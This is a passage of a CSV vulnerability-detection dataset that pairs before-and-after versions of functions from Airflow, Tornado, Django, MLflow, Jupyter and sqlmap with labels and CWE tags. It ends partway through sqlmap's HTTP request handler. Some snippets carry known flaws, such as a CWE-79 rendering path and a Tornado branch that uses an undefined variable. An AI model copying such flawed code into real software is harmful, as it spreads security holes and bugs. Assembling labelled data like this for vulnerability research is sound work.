        return v",CWE-Unknown,apache/airflow,cb295c351a016c0a10cab07f2a628b865cff3ca3,"def get_owners(cls, v: Any) -> list[str] | None:
        """"""Convert owners attribute to DAG representation.""""""
        if not (v is None or isinstance(v, str)):
            return v

        if v is None:
            return []
        elif isinstance(v, str):
            return v.split("","")
        return v"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/websocket.py,0,"def _handle_message(self, opcode, data):
        if self.client_terminated:
            return

        if opcode == 0x1:
            # UTF-8 data
            try:
                decoded = data.decode(""utf-8"")
            except UnicodeDecodeError:
                self._abort()
                return
            self._run_callback(self.handler.on_message, decoded)
        elif opcode == 0x2:
            # Binary data
            self._run_callback(self.handler.on_message, data)
        elif opcode == 0x8:
            # Close
            self.client_terminated = True
            if len(data) >= 2:
                self.handler.close_code = struct.unpack('>H', data[:2])[0]
            if len(data) > 2:
                self.handler.close_reason = to_unicode(data[2:])
            self.close()
        elif opcode == 0x9:
            # Ping
            self._write_frame(True, 0xA, data)
        elif opcode == 0xA:
            # Pong
            self._run_callback(self.handler.on_pong, data)
        else:
            self._abort()",CWE-Unknown,tornadoweb/tornado,622139eb14a056c02a164993d03ea49e9ee58617,"def _handle_message(self, opcode, data):
        if self.client_terminated:
            return

        if opcode == 0x1:
            # UTF-8 data
            try:
                decoded = data.decode(""utf-8"")
            except UnicodeDecodeError:
                self._abort()
                return
            self._run_callback(self.handler.on_message, decoded)
        elif opcode == 0x2:
            # Binary data
            self._run_callback(self.handler.on_message, decoded)
        elif opcode == 0x8:
            # Close
            self.client_terminated = True
            if len(data) >= 2:
                self.handler.close_code = struct.unpack('>H', data[:2])[0]
            if len(data) > 2:
                self.handler.close_reason = to_unicode(data[2:])
            self.close()
        elif opcode == 0x9:
            # Ping
            self._write_frame(True, 0xA, data)
        elif opcode == 0xA:
            # Pong
            self._run_callback(self.handler.on_pong, data)
        else:
            self._abort()"
,UNKNOWN,UNKNOWN,django/contrib/auth/forms.py,1,"def render(self, name, value, attrs):
        encoded = value

        if not is_password_usable(encoded):
            return ""None""

        final_attrs = self.build_attrs(attrs)

        encoded = smart_str(encoded)

        if len(encoded) == 32 and '$' not in encoded:
            hasher = get_hasher('unsalted_md5')
        else:
            algorithm = encoded.split('$', 1)[0]
            hasher = get_hasher(algorithm)

        summary = """"
        for key, value in hasher.safe_summary(encoded).iteritems():
            summary += ""<strong>%(key)s</strong>: %(value)s "" % {""key"": ugettext(key), ""value"": value}

        return mark_safe(""<div%(attrs)s>%(summary)s</div>"" % {""attrs"": flatatt(final_attrs), ""summary"": summary})",CWE-79,django/django,bf1112de7d0618ece5c107627ff18b1c0d098f85,"def render(self, name, value, attrs):
        encoded = value

        if not is_password_usable(encoded):
            return ""None""

        final_attrs = self.build_attrs(attrs)

        encoded = smart_str(encoded)

        if len(encoded) == 32 and '$' not in encoded:
            hasher = get_hasher('md5')
        else:
            algorithm = encoded.split('$', 1)[0]
            hasher = get_hasher(algorithm)

        summary = """"
        for key, value in hasher.safe_summary(encoded).iteritems():
            summary += ""<strong>%(key)s</strong>: %(value)s "" % {""key"": ugettext(key), ""value"": value}

        return mark_safe(""<div%(attrs)s>%(summary)s</div>"" % {""attrs"": flatatt(final_attrs), ""summary"": summary})"
,UNKNOWN,UNKNOWN,tests/test_cli.py,1,"def test_mlflow_server_command(command):
    port = get_safe_port()
    cmd = [""mlflow"", command, ""--port"", str(port)]
    process = subprocess.Popen(cmd)
    try:
        _await_server_up_or_die(port)
        resp = requests.get(f""http://localhost:{port}/health"")
        augmented_raise_for_status(resp)
        assert resp.text == ""OK""
    finally:
        process.kill()",CWE-703,mlflow/mlflow,182f04c472a0e2c7dac7da26dc2be44352c4b25d,"def test_mlflow_server_command(command):
    port = get_safe_port()
    cmd = [""mlflow"", command, ""--port"", str(port)]
    process = subprocess.Popen(cmd)
    try:
        _await_server_up_or_die(port, timeout=20)
        resp = requests.get(f""http://localhost:{port}/health"")
        augmented_raise_for_status(resp)
        assert resp.text == ""OK""
    finally:
        process.kill()"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/models.py,0,"def command(
            self,
            mark_success=False,
            ignore_dependencies=False,
            force=False,
            pickle_id=None):
        """"""
        Returns a command that can be executed anywhere where airflow is
        installed. This command is part of the message sent to executors by
        the orchestrator.
        """"""

        iso = self.execution_date.isoformat()
        mark_success = ""--mark_success"" if mark_success else """"
        pickle = ""--pickle {0}"".format(pickle_id) if pickle_id else """"
        ignore_dependencies = ""-i"" if ignore_dependencies else """"
        force = ""--force"" if force else """"
        subdir = """"
        if not pickle and self.task.dag and self.task.dag.full_filepath:
            subdir = ""-sd {0}"".format(self.task.dag.full_filepath)
        return (
            ""airflow run ""
            ""{self.dag_id} {self.task_id} {iso} ""
            ""{mark_success} ""
            ""{pickle} ""
            ""{ignore_dependencies} ""
            ""{force} ""
            ""{subdir} ""
        ).format(**locals())",CWE-Unknown,apache/airflow,cfea733fff73fe56481fc9a84a88e529eeb18fff,"def command(
            self,
            mark_success=False,
            ignore_dependencies=False,
            force=False,
            pickle=None):
        """"""
        Returns a command that can be executed anywhere where airflow is
        installed. This command is part of the message sent to executors by
        the orchestrator.
        """"""
        iso = self.execution_date.isoformat()
        mark_success = ""--mark_success"" if mark_success else """"
        pickle = ""--pickle {0}"".format(pickle.id) if pickle else """"
        ignore_dependencies = ""-i"" if ignore_dependencies else """"
        force = ""--force"" if force else """"
        subdir = """"
        if not pickle and self.task.dag and self.task.dag.full_filepath:
            subdir = ""-sd {0}"".format(self.task.dag.full_filepath)
        return (
            ""airflow run ""
            ""{self.dag_id} {self.task_id} {iso} ""
            ""{mark_success} ""
            ""{pickle} ""
            ""{ignore_dependencies} ""
            ""{force} ""
            ""{subdir} ""
        ).format(**locals())"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/services/sessions/tests/test_sessionmanager.py,0,"def test_bad_get_session(self):
        # Should raise error if a bad key is passed to the database.
        sm = SessionManager(kernel_manager=DummyMKM())
        session_id = sm.create_session(name='test.ipynb', path='/path/to/',
                                       kernel_name='foo')['id']
        self.assertRaises(TypeError, sm.get_session, bad_id=session_id)",,jupyter/notebook,97e99d06617b13195eac4c60af0ec37eed0eb3a8,"def test_bad_get_session(self):
        # Should raise error if a bad key is passed to the database.
        sm = SessionManager(kernel_manager=DummyMKM())
        session_id = sm.create_session(name='test.ipynb', path='/path/to/',
                                       kernel_name='foo')['id']
        self.assertRaises(TypeError, sm.get_session, bad_id=session_id)"
,UNKNOWN,UNKNOWN,lib/request/connect.py,1,"def getPage(**kwargs):
        """"""
        This method connects to the target URL or proxy and returns
        the target URL page content
        """"""

        if conf.offline:
            return None, None, None

        url = kwargs.get(""url"", None) or conf.url
        get = kwargs.get(""get"", None)
        post = kwargs.get(""post"", None)
        method = kwargs.get(""method"", None)
        cookie = kwargs.get(""cookie"", None)
        ua = kwargs.get(""ua"", None) or conf.agent
        referer = kwargs.get(""referer"", None) or conf.referer
        host = kwargs.get(""host"", None) or conf.host
        direct_ = kwargs.get(""direct"", False)
        multipart = kwargs.get(""multipart"", None)
        silent = kwargs.get(""silent"", False)
        raise404 = kwargs.get(""raise404"", True)
        timeout = kwargs.get(""timeout"", None) or conf.timeout
        auxHeaders = kwargs.get(""auxHeaders"", None)
        response = kwargs.get(""response"", False)
        ignoreTimeout = kwargs.get(""ignoreTimeout"", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get(""refreshing"", False)
        retrying = kwargs.get(""retrying"", False)
        crawling = kwargs.get(""crawling"", False)
        checking = kwargs.get(""checking"", False)
        skipRead = kwargs.get(""skipRead"", False)
        finalCode = kwargs.get(""finalCode"", False)
        chunked = kwargs.get(""chunked"", False) or conf.chunked

        start = time.time()

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

            if conf.proxyFreq:
                if kb.requestCounter % conf.proxyFreq == 0:
                    conf.proxy = None

                    warnMsg = ""changing proxy""
                    logger.warning(warnMsg)

                    setHTTPHandlers()

        if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
            if conf.murphyRate:
                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))

            page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3)

            threadData.lastPage = page
            threadData.lastCode = code

            return page, headers, code

        if conf.liveCookies:
            with kb.locks.liveCookies:
                if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0:
                    warnMsg = ""[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)"" % (time.strftime(""%X""), conf.liveCookies, LIVE_COOKIES_TIMEOUT)
                    dataToStdout(warnMsg)

                    valid = False
                    for _ in xrange(LIVE_COOKIES_TIMEOUT):
                        if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0:
                            valid = True
                            break
                        else:
                            dataToStdout('.')
                            time.sleep(1)

                    dataToStdout(""\n"")

                    if not valid:
                        errMsg = ""problem occurred while loading cookies from file '%s'"" % conf.liveCookies
                        raise SqlmapValueException(errMsg)

                cookie = openFile(conf.liveCookies).read().strip()
                cookie = re.sub(r""(?i)\ACookie:\s*"", """", cookie)

        if multipart:
            post = multipart
        else:
            if not post:
                chunked = False

            elif chunked:
                post = _urllib.parse.unquote(post)
                post = chunkSplitPostData(post)

        webSocket = url.lower().startswith(""ws"")

        if not _urllib.parse.urlsplit(url).netloc:
            url = _urllib.parse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace("" "", ""%20"")

        if ""://"" not in url:
            url = ""http://%s"" % url

        conn = None
        page = None
        code = None
        status = None

        _ = _urllib.parse.urlsplit(url)
        requestMsg = u""HTTP request [#%d]:\r\n%s "" % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += getUnicode((""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u""HTTP response ""
        requestHeaders = u""""
        responseHeaders = None
        logHeaders = u""""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = ""%s?%s"" % (url, params)

            elif any((refreshing, crawling, checking)):
                pass

            elif target:
                if conf.forceSSL:
                    url = re.sub(r""(?i)\A(http|ws):"", r""\g<1>s:"", url)
                    url = re.sub(r""(?i):80/"", "":443/"", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    if '?' in url:
                        url = ""%s%s%s"" % (url, DEFAULT_GET_POST_DELIMITER, get)
                        requestMsg += ""%s%s"" % (DEFAULT_GET_POST_DELIMITER, get)
                    else:
                        url = ""%s?%s"" % (url, get)
                        requestMsg += ""?%s"" % get

                if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = ""%s?%s"" % (url, get)
                requestMsg += ""?%s"" % get

            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            if not conf.requestFile or not target:
                if not getHeader(headers, HTTP_HEADER.HOST):
                    headers[HTTP_HEADER.HOST] = getHostHeader(url)

                if not getHeader(headers, HTTP_HEADER.ACCEPT):
                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else ""identity""

            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
                for header in headers:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        del headers[header]
                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE if unArrayizeValue(conf.base64Parameter) != HTTPMETHOD.POST else PLAIN_TEXT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
                warnMsg = ""missing 'boundary parameter' in '%s' header. "" % HTTP_HEADER.CONTENT_TYPE
                warnMsg += ""Will try to reconstruct""
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = ""%s; boundary=%s"" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if conf.keepAlive:
                headers[HTTP_HEADER.CONNECTION] = ""keep-alive""

            if chunked:
                headers[HTTP_HEADER.TRANSFER_ENCODING] = ""chunked""

            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

            if kb.headersFile:
                content = openFile(kb.headersFile, ""rb"").read()
                for line in content.split(""\n""):
                    line = getText(line.strip())
                    if ':' in line:
                        header, value = line.split(':', 1)
                        headers[header] = value

            if conf.localhost:
                headers[HTTP_HEADER.HOST] = ""localhost""

            for key, value in list(headers.items()):
                if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper():
                    value = re.sub(r""(?i)(,)br(,)?"", lambda match: ',' if match.group(1) and match.group(2) else """", value) or ""identity""

                del headers[key]
                if isinstance(value, six.string_types):
                    for char in (r""\r"", r""\n""):
                        value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", value)
                    headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip(""\r\n""))  # Note: Python3 has_header() expects non-bytes value

            if six.PY2:
                url = getBytes(url)  # Note: Python3 requires text while Python2 has problems when mixing text with binary POST

            if webSocket:
                ws = websocket.WebSocket()
                ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
                ws.connect(url, header=(""%s: %s"" % _ for _ in headers.items() if _[0] not in (""Host"",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or """"))

                _page = []

                if kb.webSocketRecvCount is None:
                    while True:
                        try:
                            _page.append(ws.recv())
                        except websocket.WebSocketTimeoutException:
                            kb.webSocketRecvCount = len(_page)
                            break
                else:
                    for i in xrange(max(1, kb.webSocketRecvCount)):
                        _page.append(ws.recv())

                page = ""\n"".join(_page)

                ws.close()
                code = ws.status
                status = _http_client.responses[code]

                class _(dict):
                    pass

                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = [""%s: %s\r\n"" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

                requestHeaders += ""\r\n"".join([""%s: %s"" % (getUnicode(key.capitalize() if hasattr(key, ""capitalize"") else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                requestMsg += ""\r\n""

                threadData.lastRequestMsg = requestMsg

                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
            else:
                post = getBytes(post)

                if unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST:
                    if kb.place != HTTPMETHOD.POST:
                        conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    else:
                        post = urldecode(post, convall=True)
                        post = encodeBase64(post)

                if target and cmdLineOptions.method or method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
                    req = MethodRequest(url, post, headers)
                    req.set_method(cmdLineOptions.method or method)
                elif url is not None:
                    req = _urllib.request.Request(url, post, headers)
                else:
                    return None, None, None

                for function in kb.preprocessFunctions:
                    try:
                        function(req)
                    except Exception as ex:
                        errMsg = ""error occurred while running preprocess ""
                        errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                        raise SqlmapGenericException(errMsg)
                    else:
                        post, headers = req.data, req.headers

                requestHeaders += ""\r\n"".join([""%s: %s"" % (getUnicode(key.capitalize() if hasattr(key, ""capitalize"") else key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    with conf.cj._cookies_lock:
                        cookies = conf.cj._cookies_for_request(req)
                    requestHeaders += ""\r\n%s"" % (""Cookie: %s"" % "";"".join(""%s=%s"" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
                        requestHeaders += ""\r\n%s: %d"" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                    requestHeaders += ""\r\n%s: %s"" % (HTTP_HEADER.CONNECTION, ""close"" if not conf.keepAlive else ""keep-alive"")

                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                if not chunked:
                    requestMsg += ""\r\n""

                if not multipart:
                    threadData.lastRequestMsg = requestMsg

                    logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                if conf.cj:
                    for cookie in conf.cj:
                        if cookie.value is None:
                            cookie.value = """"
                        else:
                            for char in (r""\r"", r""\n""):
                                cookie.value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", cookie.value)

                conn = _urllib.request.urlopen(req)

                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or """").lower() == AUTH_TYPE.BASIC.lower():
                    kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))

                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)

                # Return response object
                if response:
                    return conn, None, None

                # Get HTTP response
                if hasattr(conn, ""redurl""):
                    page = (threadData.lastRedirectMsg[1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.choices.redirect == REDIRECTION.NO
                    code = conn.redcode if not finalCode else code
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, ""geturl"") else url

                    if hasattr(conn, ""redurl""):
                        responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl

                    responseHeaders = patchHeaders(responseHeaders)
                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
                status = getUnicode(conn.msg) if conn and getattr(conn, ""msg"", None) else None

            kb.connErrorCounter = 0

            if not refreshing:
                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, """").split(""url="")[-1].strip()

                if extractRegexResult(META_REFRESH_REGEX, page):
                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

                    debugMsg = ""got HTML meta refresh header""
                    logger.debug(debugMsg)

                if not refresh:
                    refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)

                    if refresh:
                        debugMsg = ""got Javascript redirect logic""
                        logger.debug(debugMsg)

                if refresh:
                    if kb.alwaysRefresh is None:
                        msg = ""got a refresh intent ""
                        msg += ""(redirect like response common to login pages) to '%s'. "" % refresh
                        msg += ""Do you want to apply it from now on? [Y/n]""

                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r""\Ahttps?://"", refresh, re.I):
                            url = refresh
                        else:
                            url = _urllib.parse.urljoin(url, refresh)

                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
                        kwargs[""refreshing""] = True
                        kwargs[""url""] = url
                        kwargs[""get""] = None
                        kwargs[""post""] = None

                        try:
                            return Connect._getPageProxy(**kwargs)
                        except SqlmapSyntaxException:
                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
                try:
                    if hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception as ex:
                    warnMsg = ""problem occurred during connection closing ('%s')"" % getSafeExString(ex)
                    logger.warning(warnMsg)

        except SqlmapConnectionException as ex:
            if conf.proxyList and not kb.threadException:
                warnMsg = ""unable to connect to the target URL ('%s')"" % getSafeExString(ex)
                logger.critical(warnMsg)
                threadData.retriesCount = conf.retries
                return Connect._retryProxy(**kwargs)
            else:
                raise

        except _urllib.error.HTTPError as ex:
            page = None
            responseHeaders = None

            if checking:
                return None, None, None

            try:
                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
                responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                responseHeaders = patchHeaders(responseHeaders)
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.warning(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = getUnicode(page)

            code = ex.code
            status = getUnicode(getattr(ex, ""reason"", None) or getSafeExString(ex).split("": "", 1)[-1])

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if ex.code not in (conf.ignoreCode or []):
                if ex.code == _http_client.UNAUTHORIZED:
                    errMsg = ""not authorized, try to provide right HTTP ""
                    errMsg += ""authentication type and valid credentials (%d). "" % code
                    errMsg += ""If this is intended, try to rerun by providing ""
                    errMsg += ""a valid value for option '--ignore-code'""
                    raise SqlmapConnectionException(errMsg)
                elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED):
                    warnMsg = ""turning off HTTP chunked transfer encoding ""
                    warnMsg += ""as it seems that the target site doesn't support it (%d)"" % code
                    singleTimeWarnMessage(warnMsg)
                    conf.chunked = kwargs[""chunked""] = False
                    return Connect.getPage(**kwargs)
                elif ex.code == _http_client.REQUEST_URI_TOO_LONG:
                    warnMsg = ""request URI is marked as too long by the target. ""
                    warnMsg += ""you are advised to try a switch '--no-cast' and/or '--no-escape'""
                    singleTimeWarnMessage(warnMsg)
                elif ex.code == _http_client.NOT_FOUND:
                    if raise404:
                        errMsg = ""page not found (%d)"" % code
                        raise SqlmapConnectionException(errMsg)
                    else:
                        debugMsg = ""page not found (%d)"" % code
                        singleTimeLogMessage(debugMsg, logging.DEBUG)
                elif ex.code == _http_client.GATEWAY_TIMEOUT:
                    if ignoreTimeout:
                        return None if not conf.ignoreTimeouts else """", None, None
                    else:
                        warnMsg = ""unable to connect to the target URL (%d - %s)"" % (ex.code, _http_client.responses[ex.code])
                        if threadData.retriesCount < conf.retries and not kb.threadException:
                            warnMsg += "". sqlmap is going to retry the request""
                            logger.critical(warnMsg)
                            return Connect._retryProxy(**kwargs)
                        elif kb.testMode:
                            logger.critical(warnMsg)
                            return None, None, None
                        else:
                            raise SqlmapConnectionException(warnMsg)
                else:
                    debugMsg = ""got HTTP error code: %d ('%s')"" % (code, status)
                    logger.debug(debugMsg)

        except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError):
            tbMsg = traceback.format_exc()

            if conf.debug:
                dataToStdout(tbMsg)

            if checking:
                return None, None, None
            elif ""AttributeError:"" in tbMsg:
                if ""WSAECONNREFUSED"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""no host given"" in tbMsg:
                warnMsg = ""invalid URL address used (%s)"" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif any(_ in tbMsg for _ in (""forcibly closed"", ""Connection is already closed"", ""ConnectionAbortedError"")):
                warnMsg = ""connection was forcibly closed by the target URL""
            elif ""timed out"" in tbMsg:
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection timed out to the target URL""
            elif ""Connection reset"" in tbMsg:
                if not conf.disablePrecon:
                    singleTimeWarnMessage(""turning off pre-connect mechanism because of connection reset(s)"")
                    conf.disablePrecon = True

                if kb.testMode:
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection reset to the target URL""
            elif ""URLError"" in tbMsg or ""error"" in tbMsg:
                warnMsg = ""unable to connect to the target URL""
                match = re.search(r""Errno \d+\] ([^>\n]+)"", tbMsg)
                if match:
                    warnMsg += "" ('%s')"" % match.group(1).strip()
            elif ""NTLM"" in tbMsg:
                warnMsg = ""there has been a problem with NTLM authentication""
            elif ""Invalid header name"" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
                return None, None, None
            elif ""BadStatusLine"" in tbMsg:
                warnMsg = ""connection dropped or unknown HTTP ""
                warnMsg += ""status code received""
                if not conf.agent and not conf.randomAgent:
                    warnMsg += "". Try to force the HTTP User-Agent ""
                    warnMsg += ""header with option '--user-agent' or switch '--random-agent'""
            elif ""IncompleteRead"" in tbMsg:
                warnMsg = ""there was an incomplete read error while retrieving data ""
                warnMsg += ""from the target URL""
            elif ""Handshake status"" in tbMsg:
                status = re.search(r""Handshake status ([\d]{3})"", tbMsg)
                errMsg = ""websocket handshake status %s"" % status.group(1) if status else ""unknown""
                raise SqlmapConnectionException(errMsg)
            elif ""SqlmapCompressionException"" in tbMsg:
                warnMsg = ""problems with response (de)compression""
                retrying = True
            else:
                warnMsg = ""unable to connect to the target URL""

            if ""BadStatusLine"" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += "" or proxy""

            if silent:
                return None, None, None

            with kb.locks.connError:
                kb.connErrorCounter += 1

                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.choices.connError is None:
                    message = ""there seems to be a continuous problem with connection to the target. ""
                    message += ""Are you sure that you want to continue? [y/N] ""

                    kb.choices.connError = readInput(message, default='N', boolean=True)

                if kb.choices.connError is False:
                    raise SqlmapSkipTargetException

            if ""forcibly closed"" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in (""timed out"", ""IncompleteRead"", ""Interrupted system call"")):
                return None if not conf.ignoreTimeouts else """", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += "". sqlmap is going to retry the request""
                if not retrying:
                    warnMsg += ""(s)""
                    logger.critical(warnMsg)
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode or kb.multiThreadMode:
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            if isinstance(page, six.binary_type):
                if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
                    page = six.text_type(page, errors=""ignore"")
                else:
                    page = getUnicode(page)

            for function in kb.postprocessFunctions:
                try:
                    page, responseHeaders, code = function(page, responseHeaders, code)
                except Exception as ex:
                    errMsg = ""error occurred while running postprocess ""
